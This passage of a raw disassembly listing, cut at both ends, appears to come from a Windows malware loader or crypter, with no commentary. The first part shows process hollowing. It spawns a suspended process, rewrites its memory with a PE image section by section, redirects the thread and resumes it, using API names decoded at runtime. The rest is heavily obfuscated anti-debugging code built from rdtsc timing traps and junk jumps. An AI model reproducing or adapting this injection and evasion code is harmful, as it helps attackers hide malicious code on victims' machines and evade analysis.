offset aNkibafgiSkvsjs ; "" call sub_406A80 mov eax, [ebp+var_1B8] call sub_4026E0 push eax mov eax, [ebp+var_18] push eax call [ebp+var_40] mov [ebp+var_60], eax lea edx, [ebp+var_1BC] mov eax, offset aZseaBfzsgevcsj ; "" call sub_406A80 mov eax, [ebp+var_1BC] call sub_4026E0 push eax mov eax, [ebp+var_14] push eax call [ebp+var_40] mov [ebp+var_64], eax mov [ebp+var_D], 0 lea eax, [ebp+var_78] xor ecx, ecx mov edx, 10h call sub_4015C8 lea eax, [ebp+var_BC] xor ecx, ecx mov edx, 44h call sub_4015C8 mov [ebp+var_BC], 44h xor eax, eax mov al, [ebp+arg_0] mov [ebp+var_8C], ax lea eax, [ebp+var_78] push eax lea eax, [ebp+var_BC] push eax push 0 push 0 push 4 push 0 push 0 push 0 mov eax, [ebp+var_C] call sub_4026E0 push eax mov eax, [ebp+var_8] call sub_4026E0 push eax call [ebp+var_3C] test eax, eax jz loc_406F9D mov [ebp+var_35], 1 xor eax, eax push ebp push offset loc_406F96 push dword ptr fs:[eax] mov fs:[eax], esp mov [ebp+var_188], 10002h lea eax, [ebp+var_188] push eax mov eax, [ebp+var_74] push eax call [ebp+var_44] test eax, eax jz loc_406F6A lea eax, [ebp+var_20] push eax push 4 lea eax, [ebp+var_1C] push eax mov eax, [ebp+var_E4] add eax, 8 push eax mov eax, [ebp+var_78] push eax call [ebp+var_48] test eax, eax jz loc_406F6A mov eax, [ebp+var_1C] push eax mov eax, [ebp+var_78] push eax call [ebp+var_60] test eax, eax jl loc_406F6A cmp [ebp+var_4], 0 jz loc_406F6A mov eax, [ebp+var_4] mov eax, [eax+3Ch] add eax, [ebp+var_4] mov [ebp+var_30], eax push 4 push 3000h mov eax, [ebp+var_30] mov eax, [eax+50h] push eax mov eax, [ebp+var_30] mov eax, [eax+34h] push eax mov eax, [ebp+var_78] push eax call [ebp+var_58] mov [ebp+var_1C], eax cmp [ebp+var_1C], 0 jz loc_406F6A lea eax, [ebp+var_24] push eax mov eax, [ebp+var_30] mov eax, [eax+54h] push eax mov eax, [ebp+var_4] push eax mov eax, [ebp+var_1C] push eax mov eax, [ebp+var_78] push eax call [ebp+var_4C] test eax, eax jz loc_406F6A mov eax, [ebp+var_30] call sub_406A3C mov [ebp+var_34], eax mov eax, [ebp+var_30] movzx eax, word ptr [eax+6] dec eax test eax, eax jb loc_406F25 inc eax mov [ebp+var_68], eax mov [ebp+var_28], 0 loc_406E9D: ; CODE XREF: sub_406B18+407j lea eax, [ebp+var_24] push eax mov eax, [ebp+var_28] lea eax, [eax+eax*4] mov edx, [ebp+var_34] mov eax, [edx+eax*8+10h] push eax mov eax, [ebp+var_28] lea eax, [eax+eax*4] mov edx, [ebp+var_34] mov eax, [edx+eax*8+14h] add eax, [ebp+var_4] push eax mov eax, [ebp+var_28] lea eax, [eax+eax*4] mov edx, [ebp+var_34] mov eax, [edx+eax*8+0Ch] add eax, [ebp+var_1C] push eax mov eax, [ebp+var_78] push eax call [ebp+var_4C] test eax, eax jz short loc_406F19 lea eax, [ebp+var_2C] push eax mov eax, [ebp+var_28] lea eax, [eax+eax*4] mov edx, [ebp+var_34] mov eax, [edx+eax*8+24h] call sub_406A60 push eax mov eax, [ebp+var_28] lea eax, [eax+eax*4] mov edx, [ebp+var_34] mov eax, [edx+eax*8+8] push eax mov eax, [ebp+var_28] lea eax, [eax+eax*4] mov edx, [ebp+var_34] mov eax, [edx+eax*8+0Ch] add eax, [ebp+var_1C] push eax mov eax, [ebp+var_78] push eax call [ebp+var_5C] loc_406F19: ; CODE XREF: sub_406B18+3C2j inc [ebp+var_28] dec [ebp+var_68] jnz loc_406E9D loc_406F25: ; CODE XREF: sub_406B18+374j lea eax, [ebp+var_24] push eax push 4 lea eax, [ebp+var_1C] push eax mov eax, [ebp+var_E4] add eax, 8 push eax mov eax, [ebp+var_78] push eax call [ebp+var_4C] test eax, eax jz short loc_406F6A mov eax, [ebp+var_30] mov eax, [eax+28h] add eax, [ebp+var_1C] mov [ebp+var_D8], eax lea eax, [ebp+var_188] push eax mov eax, [ebp+var_74] push eax call [ebp+var_50] cmp eax, 1 sbb eax, eax inc eax mov [ebp+var_35], al loc_406F6A: ; CODE XREF: sub_406B18+2C2j ; sub_406B18+2E5j ... xor eax, eax pop edx pop ecx pop ecx mov fs:[eax], edx push offset loc_406F9D loc_406F77: ; CODE XREF: sub_406B18+483j cmp [ebp+var_35], 0 jnz short loc_406F88 push 0 mov eax, [ebp+var_78] push eax call [ebp+var_64] jmp short loc_406F8F ; --------------------------------------------------------------------------- loc_406F88: ; CODE XREF: sub_406B18+463j mov eax, [ebp+var_74] push eax call [ebp+var_54] loc_406F8F: ; CODE XREF: sub_406B18+46Ej mov al, [ebp+var_35] mov [ebp+var_D], al retn ; --------------------------------------------------------------------------- loc_406F96: ; DATA XREF: sub_406B18+29Do jmp loc_401FBC ; --------------------------------------------------------------------------- jmp short loc_406F77 ; --------------------------------------------------------------------------- loc_406F9D: ; CODE XREF: sub_406B18+290j ; DATA XREF: sub_406B18+45Ao xor eax, eax pop edx pop ecx pop ecx mov fs:[eax], edx push offset loc_406FCF loc_406FAA: ; CODE XREF: sub_406B18+4B5j lea eax, [ebp+var_1BC] mov edx, 0Dh call sub_402308 lea eax, [ebp+var_C] mov edx, 2 call sub_402308 retn ; --------------------------------------------------------------------------- loc_406FC8: ; DATA XREF: sub_406B18+30o jmp loc_401FBC ; --------------------------------------------------------------------------- jmp short loc_406FAA ; --------------------------------------------------------------------------- loc_406FCF: ; CODE XREF: sub_406B18+4AFj ; DATA XREF: sub_406B18+48Do mov al, [ebp+var_D] pop ebx mov esp, ebp pop ebp retn 4 sub_406B18 endp ; sp-analysis failed ; --------------------------------------------------------------------------- align 4 dd 0FFFFFFFFh, 0Ch dword_406FE4 dd 0A1A5989Eh, 65669F98h, 9F9F9761h, 0 ; DATA XREF: sub_406B18+41o dd 0FFFFFFFFh, 9 dword_406FFC dd 9F97A7A1h, 9F97619Fh, 9Fh, 0FFFFFFFFh, 0Eh ; DATA XREF: sub_406B18+65o dword_407010 dd 83A7987Ah, 7496A2A5h, 98A59797h, 0A6A6h, 0FFFFFFFFh ; DATA XREF: sub_406B18+89o dd 0Eh dword_407028 dd 9498A576h, 0A58398A7h, 0A69896A2h, 74A6h, 0FFFFFFFFh ; DATA XREF: sub_406B18+B1o dd 10h aZszziesfcvvbzs db 'zv',0 ; DATA XREF: sub_406B18+D7o align 4 dd 0FFFFFFFFh, 11h aEsfcgevcsjjasa db '',0 ; DATA XREF: sub_406B18+FDo align 10h dd 0FFFFFFFFh, 12h aKeZsgevcsjjasa db '',0 ; DATA XREF: sub_406B18+123o align 4 dd 0FFFFFFFFh, 10h aJszziesfcvvbzs db 'v',0 ; DATA XREF: sub_406B18+149o align 4 dd 0FFFFFFFFh, 0Ch dword_4070B0 dd 0A8A69885h, 9B8798A0h, 979498A5h, 0 ; DATA XREF: sub_406B18+16Fo dd 0FFFFFFFFh, 0Eh dword_4070C8 dd 0A7A59C89h, 749F94A8h, 96A29F9Fh, 0AB78h, 0FFFFFFFFh ; DATA XREF: sub_406B18+195o dd 10h aIEzifqgevzsczx db 'x',0 ; DATA XREF: sub_406B18+1BBo align 4 dd 0FFFFFFFFh, 14h aNkibafgiSkvsjs db '',0 ; DATA XREF: sub_406B18+1E1o align 4 dd 0FFFFFFFFh, 10h aZseaBfzsgevcsj db '',0 ; DATA XREF: sub_406B18+207o align 10h push ebp mov ebp, esp xor eax, eax push ebp push offset loc_407155 push dword ptr fs:[eax] mov fs:[eax], esp inc ds:dword_40A604 xor eax, eax pop edx pop ecx pop ecx mov fs:[eax], edx push offset loc_40715C loc_407154: ; CODE XREF: CODE:0040715Aj retn ; --------------------------------------------------------------------------- loc_407155: ; DATA XREF: CODE:00407136o jmp loc_401FBC ; --------------------------------------------------------------------------- jmp short loc_407154 ; --------------------------------------------------------------------------- loc_40715C: ; CODE XREF: CODE:loc_407154j ; DATA XREF: CODE:0040714Fo pop ebp retn ; --------------------------------------------------------------------------- align 10h sub ds:dword_40A604, 1 retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_407168 proc near ; CODE XREF: sub_407B70+22p ; CODE:004081D7p ... var_18 = byte ptr -18h var_17 = byte ptr -17h var_1 = byte ptr -1 arg_5D = byte ptr 65h arg_6C = dword ptr 74h ; FUNCTION CHUNK AT 0040717A SIZE 00000002 BYTES ; FUNCTION CHUNK AT 00407189 SIZE 00000017 BYTES ; FUNCTION CHUNK AT 004071C8 SIZE 00000002 BYTES ; FUNCTION CHUNK AT 004071CE SIZE 0000000D BYTES ; FUNCTION CHUNK AT 004071EA SIZE 00000038 BYTES ; FUNCTION CHUNK AT 00407224 SIZE 0000004C BYTES ; FUNCTION CHUNK AT 004072C1 SIZE 00000027 BYTES ; FUNCTION CHUNK AT 004072F0 SIZE 0000001D BYTES ; FUNCTION CHUNK AT 0040732D SIZE 00000054 BYTES ; FUNCTION CHUNK AT 00407385 SIZE 00000029 BYTES ; FUNCTION CHUNK AT 004073B7 SIZE 00000009 BYTES ; FUNCTION CHUNK AT 004073EE SIZE 00000005 BYTES ; FUNCTION CHUNK AT 004073FB SIZE 00000002 BYTES ; FUNCTION CHUNK AT 00407400 SIZE 00000021 BYTES ; FUNCTION CHUNK AT 00407449 SIZE 00000002 BYTES ; FUNCTION CHUNK AT 0040744F SIZE 0000000D BYTES ; FUNCTION CHUNK AT 0040746B SIZE 00000038 BYTES ; FUNCTION CHUNK AT 004074A5 SIZE 0000004C BYTES ; FUNCTION CHUNK AT 00407542 SIZE 00000027 BYTES ; FUNCTION CHUNK AT 00407571 SIZE 0000001D BYTES ; FUNCTION CHUNK AT 004075AE SIZE 00000054 BYTES ; FUNCTION CHUNK AT 00407606 SIZE 00000029 BYTES ; FUNCTION CHUNK AT 00407638 SIZE 00000009 BYTES ; FUNCTION CHUNK AT 0040766F SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0040767C SIZE 00000002 BYTES ; FUNCTION CHUNK AT 00407681 SIZE 00000021 BYTES ; FUNCTION CHUNK AT 004076CA SIZE 00000002 BYTES ; FUNCTION CHUNK AT 004076D0 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 004076EC SIZE 00000038 BYTES ; FUNCTION CHUNK AT 00407726 SIZE 0000004C BYTES ; FUNCTION CHUNK AT 004077C3 SIZE 00000027 BYTES ; FUNCTION CHUNK AT 004077F2 SIZE 0000001D BYTES ; FUNCTION CHUNK AT 0040782F SIZE 00000054 BYTES ; FUNCTION CHUNK AT 00407887 SIZE 00000029 BYTES ; FUNCTION CHUNK AT 004078B9 SIZE 00000009 BYTES ; FUNCTION CHUNK AT 004078F0 SIZE 0000000A BYTES push ebp mov ebp, esp push ecx nop jmp loc_40732D sub_407168 endp ; sp-analysis failed ; --------------------------------------------------------------------------- adc [edx+17h], edi cmp eax, 5915DFC7h ; START OF FUNCTION CHUNK FOR sub_407168 loc_40717A: ; CODE XREF: sub_407168+88j jmp short loc_407189 ; END OF FUNCTION CHUNK FOR sub_407168 ; --------------------------------------------------------------------------- dd 6E6F7277h, 65732067h, 6C616972h db 0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_407168 loc_407189: ; CODE XREF: sub_407168:loc_40717Aj setalc jl loc_4072C1 jge loc_4072C1 std call near ptr loc_40719C+1 loc_40719C: ; CODE XREF: sub_407168+2Fp push 0FFFFFFE8h add [eax], eax ; END OF FUNCTION CHUNK FOR sub_407168 ; --------------------------------------------------------------------------- dd 83080000h, 12042444h, 0A240483h, 0A30FC8C3h, 0C0AF0FC0h dd 0FC0AF0Fh, 0E865C0A3h, 18Ch, 3D17B14Ch, 0EBC7F0D4h ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_407168 loc_4071C8: ; CODE XREF: sub_407168+1D7j ; sub_407168+1DDj jmp short loc_4071CE ; END OF FUNCTION CHUNK FOR sub_407168 ; --------------------------------------------------------------------------- dw 0D439h db 44h, 14h ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_407168 loc_4071CE: ; CODE XREF: sub_407168:loc_4071C8j jl near ptr loc_40722E+3 jge near ptr loc_40722E+3 outsd ; END OF FUNCTION CHUNK FOR sub_407168 ; =============== S U B R O U T I N E ======================================= sub_4071DB proc near ; CODE XREF: sub_407168+20Ap jmp short loc_4071EA sub_4071DB endp ; --------------------------------------------------------------------------- db 77h, 72h, 6Fh dd 7320676Eh, 61697265h db 6Ch, 0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_407168 loc_4071EA: ; CODE XREF: sub_4071DBj mov al, al add esp, 4 clc jnb loc_40717A add ds:0A21748BBh, bh rdtsc mov ecx, eax rdtsc sub ecx, eax not ecx cmp ecx, 5000h loc_40720C: ; CODE XREF: sub_407168:loc_40720Cj jg short loc_40720C rdtsc mov ecx, eax rdtsc sub ecx, eax not ecx cmp ecx, 5000h loc_40721E: ; CODE XREF: sub_407168:loc_40721Ej jg short loc_40721E jmp short loc_407224 ; END OF FUNCTION CHUNK FOR sub_407168 ; --------------------------------------------------------------------------- dw 8020h ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_407168 loc_407224: ; CODE XREF: sub_407168+B8j stc jb loc_4073B7 add dh, bh push edx loc_40722E: ; CODE XREF: sub_407168:loc_4071CEj ; sub_407168+6Cj add eax, 52502CF8h rdtsc xor ecx, eax pop edx xor ecx, eax pop eax js loc_40737F jns loc_40737F db 36h rdtsc mov ecx, eax rdtsc sub ecx, eax not ecx cmp ecx, 5000h ; CODE XREF: sub_407168+104j loc_407258: ; CODE XREF: sub_407168:loc_407258j jg short loc_407258 push eax pop eax push ecx pop ecx push edx pop edx jz loc_4073EE jnz loc_4073EE jnp short near ptr loc_407252+4 add [eax], eax ; END OF FUNCTION CHUNK FOR sub_407168 ; --------------------------------------------------------------------------- dd 0E8260000h, 1, 24448338h, 4831204h, 50C30A24h, 0BE8h dd 67657200h, 65747369h, 646572h, 4C01EB58h, 5D8A0F36h dd 0FFFFFFFh, 0FFFF578Bh, 525018FFh, 0C833310Fh, 58C8335Ah dd 0F8C0C10Fh, 0FFB38C0Fh, 8D0FFFFFh, 0FFFFFFADh db 31h ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_407168 loc_4072C1: ; CODE XREF: sub_407168+22j ; sub_407168+28j rdtsc mov ecx, eax rdtsc sub ecx, eax not ecx cmp ecx, 5000h jl short loc_4072D8 jmp near ptr 0E1208FCBh ; --------------------------------------------------------------------------- loc_4072D8: ; CODE XREF: sub_407168+169j push 0C425h add esp, 4 push edx pop edx repne jmp loc_4072F0 ; END OF FUNCTION CHUNK FOR sub_407168 ; --------------------------------------------------------------------------- or al, dl pop ss cmp eax, 0A5265966h ; START OF FUNCTION CHUNK FOR sub_407168 loc_4072F0: ; CODE XREF: sub_407168+17Aj rdtsc mov ecx, eax rdtsc sub ecx, eax not ecx cmp ecx, 5000h jl short loc_407307 jmp near ptr 89248F3Ah ; --------------------------------------------------------------------------- loc_407307: ; CODE XREF: sub_407168+198j call sub_40730D out dx, al ; END OF FUNCTION CHUNK FOR sub_407168 ; =============== S U B R O U T I N E ======================================= sub_40730D proc near ; CODE XREF: sub_407168:loc_407307p call near ptr loc_407312+1 loc_407312: ; CODE XREF: sub_40730Dp fadd dword ptr [ebx+12042444h] sub_40730D endp ; sp-analysis failed add dword ptr [esp], 0Ah retn ; --------------------------------------------------------------------------- align 2 dw 5951h dd 0FF228A0Fh, 8B0FFFFFh, 0FFFFFF1Ch ; --------------------------------------------------------------------------- pop esp ; START OF FUNCTION CHUNK FOR sub_407168 loc_40732D: ; CODE XREF: sub_407168+5j rdtsc mov ecx, eax rdtsc sub ecx, eax not ecx cmp ecx, 5000h loc_40733D: ; CODE XREF: sub_407168:loc_40733Dj jg short loc_40733D jo loc_4071C8 jno loc_4071C8 xchg cl, [edi] xor [ebx+2B310FC8h], ecx enter 0FFFFD1F7h, 81h stc add [eax+0], dl add [ebp+eax+var_17], bh pop ebx cmp al, 20h and [eax+52h], dl rdtsc xor ecx, eax pop edx xor ecx, eax pop eax not eax add esp, 4 call sub_4071DB pop esi mov ah, 17h cmp eax, 9F0983F2h loc_40737F: ; CODE XREF: sub_407168+D3j ; sub_407168+D9j jmp short loc_407385 ; END OF FUNCTION CHUNK FOR sub_407168 ; --------------------------------------------------------------------------- db 1Dh, 24h, 44h ; --------------------------------------------------------------------------- cld ; START OF FUNCTION CHUNK FOR sub_407168 loc_407385: ; CODE XREF: sub_407168:loc_40737Fj push ecx pop ecx jo loc_407394 jno loc_407394 pop es loc_407394: ; CODE XREF: sub_407168+21Fj ; sub_407168+225j call near ptr loc_4073A3+1 jb short loc_407400 imul esi, [bp+di+arg_6C], 64657265h loc_4073A3: ; CODE XREF: sub_407168:loc_407394p add [eax-15h], bl loc_4073A6: ; CODE XREF: sub_407168+254j add al, [edi-73F006D4h] idiv dh ; END OF FUNCTION CHUNK FOR sub_407168 ; --------------------------------------------------------------------------- dw 0FFFFh dd 0FEF08D0Fh db 2 dup(0FFh), 43h ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_407168 loc_4073B7: ; CODE XREF: sub_407168+BDj call near ptr loc_4073BC+1 loc_4073BC: ; CODE XREF: sub_407168:loc_4073B7p jle short loc_4073A6 add [eax], eax ; END OF FUNCTION CHUNK FOR sub_407168 ; --------------------------------------------------------------------------- dd 83180000h, 12042444h, 0A240483h, 525008C3h, 0C833310Fh dd 58C8335Ah, 0CF0FCF0Fh, 48FA02EBh, 0B0800FD6h, 0FFFFFFDh dd 0FFFDAA81h db 0FFh, 0E8h ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_407168 loc_4073EE: ; CODE XREF: sub_407168+F8j ; sub_407168+FEj jmp loc_4075AE ; END OF FUNCTION CHUNK FOR sub_407168 ; --------------------------------------------------------------------------- adc [edx+17h], edi cmp eax, 5915DFC7h ; START OF FUNCTION CHUNK FOR sub_407168 loc_4073FB: ; CODE XREF: sub_407168+309j jmp short near ptr loc_407409+1 ; END OF FUNCTION CHUNK FOR sub_407168 ; --------------------------------------------------------------------------- db 77h, 72h, 6Fh ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_407168 loc_407400: ; CODE XREF: sub_407168+231j outsb and [bp+di+arg_5D], dh jb short loc_407470 popa insb loc_407409: ; CODE XREF: sub_407168:loc_4073FBj add dh, dl jl loc_407542 jge loc_407542 std call near ptr loc_40741D+1 loc_40741D: ; CODE XREF: sub_407168+2B0p push 0FFFFFFE8h add [eax], eax ; END OF FUNCTION CHUNK FOR sub_407168 ; --------------------------------------------------------------------------- db 2 dup(0), 8 ; --------------------------------------------------------------------------- add dword ptr [esp+4], 12h add dword ptr [esp], 0Ah retn ; --------------------------------------------------------------------------- dw 0FC8h dd 0AF0FC0A3h, 0C0AF0FC0h, 65C0A30Fh, 18CE8h, 17B14C00h dd 0C7F0D43Dh db 0EBh ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_407168 loc_407449: ; CODE XREF: sub_407168+458j ; sub_407168+45Ej jmp short loc_40744F ; END OF FUNCTION CHUNK FOR sub_407168 ; --------------------------------------------------------------------------- db 39h db 0D4h, 44h, 14h ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_407168 loc_40744F: ; CODE XREF: sub_407168:loc_407449j jl near ptr loc_4074AF+3 jge near ptr loc_4074AF+3 outsd ; END OF FUNCTION CHUNK FOR sub_407168 ; =============== S U B R O U T I N E ======================================= sub_40745C proc near ; CODE XREF: sub_407168+48Bp jmp short loc_40746B sub_40745C endp ; --------------------------------------------------------------------------- dw 7277h dd 20676E6Fh, 69726573h db 61h, 6Ch, 0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_407168 loc_40746B: ; CODE XREF: sub_40745Cj mov al, al add esp, 4 loc_407470: ; CODE XREF: sub_407168+29Dj clc jnb loc_4073FB add ds:0A21748BBh, bh rdtsc mov ecx, eax rdtsc sub ecx, eax not ecx cmp ecx, 5000h loc_40748D: ; CODE XREF: sub_407168:loc_40748Dj jg short loc_40748D rdtsc mov ecx, eax rdtsc sub ecx, eax not ecx cmp ecx, 5000h loc_40749F: ; CODE XREF: sub_407168:loc_40749Fj jg short loc_40749F jmp short loc_4074A5 ; END OF FUNCTION CHUNK FOR sub_407168 ; --------------------------------------------------------------------------- db 20h db 80h ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_407168 loc_4074A5: ; CODE XREF: sub_407168+339j stc jb loc_407638 add dh, bh push edx loc_4074AF: ; CODE XREF: sub_407168:loc_40744Fj ; sub_407168+2EDj add eax, 52502CF8h rdtsc xor ecx, eax pop edx xor ecx, eax pop eax js loc_407600 jns loc_407600 db 36h rdtsc mov ecx, eax rdtsc sub ecx, eax not ecx cmp ecx, 5000h ; CODE XREF: sub_407168+385j loc_4074D9: ; CODE XREF: sub_407168:loc_4074D9j jg short loc_4074D9 push eax pop eax push ecx pop ecx push edx pop edx jz loc_40766F jnz loc_40766F jnp short near ptr loc_4074D3+4 add [eax], eax ; END OF FUNCTION CHUNK FOR sub_407168 ; --------------------------------------------------------------------------- db 2 dup(0), 26h ; --------------------------------------------------------------------------- call near ptr loc_4074F9+1 loc_4074F9: ; CODE XREF: CODE:004074F4p cmp [ebx+12042444h], al add dword ptr [esp], 0Ah retn ; --------------------------------------------------------------------------- dd 0BE850h, 65720000h, 74736967h, 64657265h, 1EB5800h dd 8A0F364Ch, 0FFFFFF5Dh, 0FF578B0Fh, 5018FFFFh, 33310F52h dd 0C8335AC8h, 0C0C10F58h, 0B38C0FF8h, 0FFFFFFFh, 0FFFFAD8Dh ; --------------------------------------------------------------------------- push dword ptr [ecx] ; START OF FUNCTION CHUNK FOR sub_407168 loc_407542: ; CODE XREF: sub_407168+2A3j ; sub_407168+2A9j rdtsc mov ecx, eax rdtsc sub ecx, eax not ecx cmp ecx, 5000h jl short loc_407559 jmp near ptr 0E120924Ch ; --------------------------------------------------------------------------- loc_407559: ; CODE XREF: sub_407168+3EAj push 0C425h add esp, 4 push edx pop edx repne jmp loc_407571 ; END OF FUNCTION CHUNK FOR sub_407168 ; --------------------------------------------------------------------------- or al, dl pop ss cmp eax, 0A5265966h ; START OF FUNCTION CHUNK FOR sub_407168 loc_407571: ; CODE XREF: sub_407168+3FBj rdtsc mov ecx, eax rdtsc sub ecx, eax not ecx cmp ecx, 5000h jl short loc_407588 jmp near ptr 892491BBh ; --------------------------------------------------------------------------- loc_407588: ; CODE XREF: sub_407168+419j call sub_40758E out dx, al ; END OF FUNCTION CHUNK FOR sub_407168 ; =============== S U B R O U T I N E ======================================= sub_40758E proc near ; CODE XREF: sub_407168:loc_407588p call near ptr loc_407593+1 loc_407593: ; CODE XREF: sub_40758Ep fadd dword ptr [ebx+12042444h] sub_40758E endp ; sp-analysis failed add dword ptr [esp], 0Ah retn ; --------------------------------------------------------------------------- dw 5100h dd 228A0F59h, 0FFFFFFFh, 0FFFF1C8Bh db 0FFh, 5Ch ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_407168 loc_4075AE: ; CODE XREF: sub_407168:loc_4073EEj rdtsc mov ecx, eax rdtsc sub ecx, eax not ecx cmp ecx, 5000h loc_4075BE: ; CODE XREF: sub_407168:loc_4075BEj jg short loc_4075BE jo loc_407449 jno loc_407449 xchg cl, [edi] xor [ebx+2B310FC8h], ecx enter 0FFFFD1F7h, 81h stc add [eax+0], dl add [ebp+eax+var_17], bh pop ebx cmp al, 20h and [eax+52h], dl rdtsc xor ecx, eax pop edx xor ecx, eax pop eax not eax add esp, 4 call sub_40745C pop esi mov ah, 17h cmp eax, 9F0983F2h loc_407600: ; CODE XREF: sub_407168+354j ; sub_407168+35Aj jmp short loc_407606 ; END OF FUNCTION CHUNK FOR sub_407168 ; --------------------------------------------------------------------------- dw 241Dh db 44h, 0FCh ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_407168 loc_407606: ; CODE XREF: sub_407168:loc_407600j push ecx pop ecx jo loc_407615 jno loc_407615 pop es loc_407615: ; CODE XREF: sub_407168+4A0j ; sub_407168+4A6j call near ptr loc_407624+1 jb short loc_407681 imul esi, [bp+di+arg_6C], 64657265h loc_407624: ; CODE XREF: sub_407168:loc_407615p add [eax-15h], bl loc_407627: ; CODE XREF: sub_407168+4D5j add al, [edi-73F006D4h] idiv dh ; END OF FUNCTION CHUNK FOR sub_407168 ; --------------------------------------------------------------------------- db 0FFh dd 0F08D0FFFh, 43FFFFFEh ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_407168 loc_407638: ; CODE XREF: sub_407168+33Ej call near ptr loc_40763D+1 loc_40763D: ; CODE XREF: sub_407168:loc_407638p jle short loc_407627 add [eax], eax ; END OF FUNCTION CHUNK FOR sub_407168 ; --------------------------------------------------------------------------- db 2 dup(0), 18h ; --------------------------------------------------------------------------- add dword ptr [esp+4], 12h add dword ptr [esp], 0Ah retn ; --------------------------------------------------------------------------- dw 5008h dd 33310F52h, 0C8335AC8h, 0FCF0F58h, 0FA02EBCFh, 800FD648h dd 0FFFFFDB0h, 0FDAA810Fh db 2 dup(0FFh), 0E8h ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_407168 loc_40766F: ; CODE XREF: sub_407168+379j ; sub_407168+37Fj jmp loc_40782F ; END OF FUNCTION CHUNK FOR sub_407168 ; --------------------------------------------------------------------------- adc [edx+17h], edi cmp eax, 5915DFC7h ; START OF FUNCTION CHUNK FOR sub_407168 loc_40767C: ; CODE XREF: sub_407168+58Aj jmp short near ptr loc_40768A+1 ; END OF FUNCTION CHUNK FOR sub_407168 ; --------------------------------------------------------------------------- dw 7277h db 6Fh ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_407168 loc_407681: ; CODE XREF: sub_407168+4B2j outsb and [bp+di+arg_5D], dh jb short loc_4076F1 popa insb loc_40768A: ; CODE XREF: sub_407168:loc_40767Cj add dh, dl jl loc_4077C3 jge loc_4077C3 std call near ptr loc_40769E+1 loc_40769E: ; CODE XREF: sub_407168+531p push 0FFFFFFE8h add [eax], eax ; END OF FUNCTION CHUNK FOR sub_407168 ; --------------------------------------------------------------------------- dw 0 ; --------------------------------------------------------------------------- or [ebx+12042444h], al add dword ptr [esp], 0Ah retn ; --------------------------------------------------------------------------- db 0C8h dd 0FC0A30Fh, 0AF0FC0AFh, 0C0A30FC0h, 18CE865h, 0B14C0000h dd 0F0D43D17h db 0C7h, 0EBh ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_407168 loc_4076CA: ; CODE XREF: sub_407168+6D9j ; sub_407168+6DFj jmp short loc_4076D0 ; END OF FUNCTION CHUNK FOR sub_407168 ; --------------------------------------------------------------------------- dd 1444D439h ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_407168 loc_4076D0: ; CODE XREF: sub_407168:loc_4076CAj jl near ptr loc_407730+3 jge near ptr loc_407730+3 outsd ; END OF FUNCTION CHUNK FOR sub_407168 ; =============== S U B R O U T I N E ======================================= sub_4076DD proc near ; CODE XREF: sub_407168+70Cp jmp short loc_4076EC sub_4076DD endp ; --------------------------------------------------------------------------- db 77h dd 676E6F72h, 72657320h, 6C6169h ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_407168 loc_4076EC: ; CODE XREF: sub_4076DDj mov al, al add esp, 4 loc_4076F1: ; CODE XREF: sub_407168+51Ej clc jnb loc_40767C add ds:0A21748BBh, bh rdtsc mov ecx, eax rdtsc sub ecx, eax not ecx cmp ecx, 5000h loc_40770E: ; CODE XREF: sub_407168:loc_40770Ej jg short loc_40770E rdtsc mov ecx, eax rdtsc sub ecx, eax not ecx cmp ecx, 5000h loc_407720: ; CODE XREF: sub_407168:loc_407720j jg short loc_407720 jmp short loc_407726 ; END OF FUNCTION CHUNK FOR sub_407168 ; --------------------------------------------------------------------------- db 20h, 80h ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_407168 loc_407726: ; CODE XREF: sub_407168+5BAj stc jb loc_4078B9 add dh, bh push edx loc_407730: ; CODE XREF: sub_407168:loc_4076D0j ; sub_407168+56Ej add eax, 52502CF8h rdtsc xor ecx, eax pop edx xor ecx, eax pop eax js loc_407881 jns loc_407881 db 36h rdtsc mov ecx, eax rdtsc sub ecx, eax not ecx cmp ecx, 5000h ; CODE XREF: sub_407168+606j loc_40775A: ; CODE XREF: sub_407168:loc_40775Aj jg short loc_40775A push eax pop eax push ecx pop ecx push edx pop edx jz loc_4078F0 jnz loc_4078F0 jnp short near ptr loc_407754+4 add [eax], eax ; END OF FUNCTION CHUNK FOR sub_407168 ; --------------------------------------------------------------------------- dw 0 ; --------------------------------------------------------------------------- db 26h call near ptr loc_40777A+1 loc_40777A: ; CODE XREF: CODE:00407774p cmp [ebx+12042444h], al add dword ptr [esp], 0Ah retn ; --------------------------------------------------------------------------- db 50h, 0E8h, 0Bh dd 72000000h, 73696765h, 65726574h, 0EB580064h, 0F364C01h dd 0FFFF5D8Ah, 578B0FFFh, 18FFFFFFh, 310F5250h, 335AC833h dd 0C10F58C8h, 8C0FF8C0h, 0FFFFFFB3h, 0FFAD8D0Fh db 2 dup(0FFh), 31h ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_407168 loc_4077C3: ; CODE XREF: sub_407168+524j ; sub_407168+52Aj rdtsc mov ecx, eax rdtsc sub ecx, eax not ecx cmp ecx, 5000h jl short loc_4077DA jmp 